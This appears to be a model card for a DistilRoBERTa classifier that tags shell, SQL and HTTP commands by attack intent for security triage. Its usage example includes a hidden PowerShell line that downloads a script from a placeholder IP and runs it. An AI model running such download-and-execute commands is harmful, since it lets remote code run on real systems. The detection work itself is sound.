Script Intent Classifier (DistilRoBERTa)
command-line intent classifier
2 min readupdated
This model analyzes command lines, scripts, SQL queries, and HTTP requests to detect their underlying intent—such as benign activity, reconnaissance, credential access, reverse shells, persistence, payload delivery, or SQL injection. Built on the distilbert/distilroberta-base architecture (82M parameters) by DaveyD347, it acts as a triage signal for process telemetry, shell history, EDR, and WAF logs, helping analysts quickly make sense of suspicious commands. It is useful for cybersecurity specialists and threat detection developers.
Key features
- Classifies 7 intent categories, ranging from routine admin tasks to attacks like SQL injections and reverse shells.
- Trained on synthetic data (11,760 rows) with strict evaluation on an independent templated test set.
- Quick to run via the standard transformers library pipeline.
- Covers major environments: bash, PowerShell, Windows Command Prompt, SQL, and URL requests.
What you can do
- Integrate the model into SIEM systems or log analysis pipelines to prioritize security alerts.
- Use it as an auxiliary tool to classify commands in automation scripts.
- Apply it to training and prototyping transformer-based threat detection systems.
Example
from transformers import pipeline
clf = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta", top_k=3)
clf("powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('[http://203.0.113.5/a.ps1](http://203.0.113.5/a.ps1)')\"")
# [{'label': 'download_execute', ...}, ...]
clf("sudo systemctl restart nginx")
# [{'label': 'benign', ...}, ...]
Read more
DetailsModel metrics and limitations:
• Accuracy on the test split: 78.0%, on the challenge set: 75.3%.
• Macro F1 score: 0.778 (test) and 0.756 (challenge).
• Limitations: not a standalone blocking tool due to false positives (22.5% FP on benign templates); processes single commands up to 128 tokens.
• Training: 2 epochs, learning rate 5e-5, batch size 32, roughly 36 minutes on 4 CPU cores.










Comments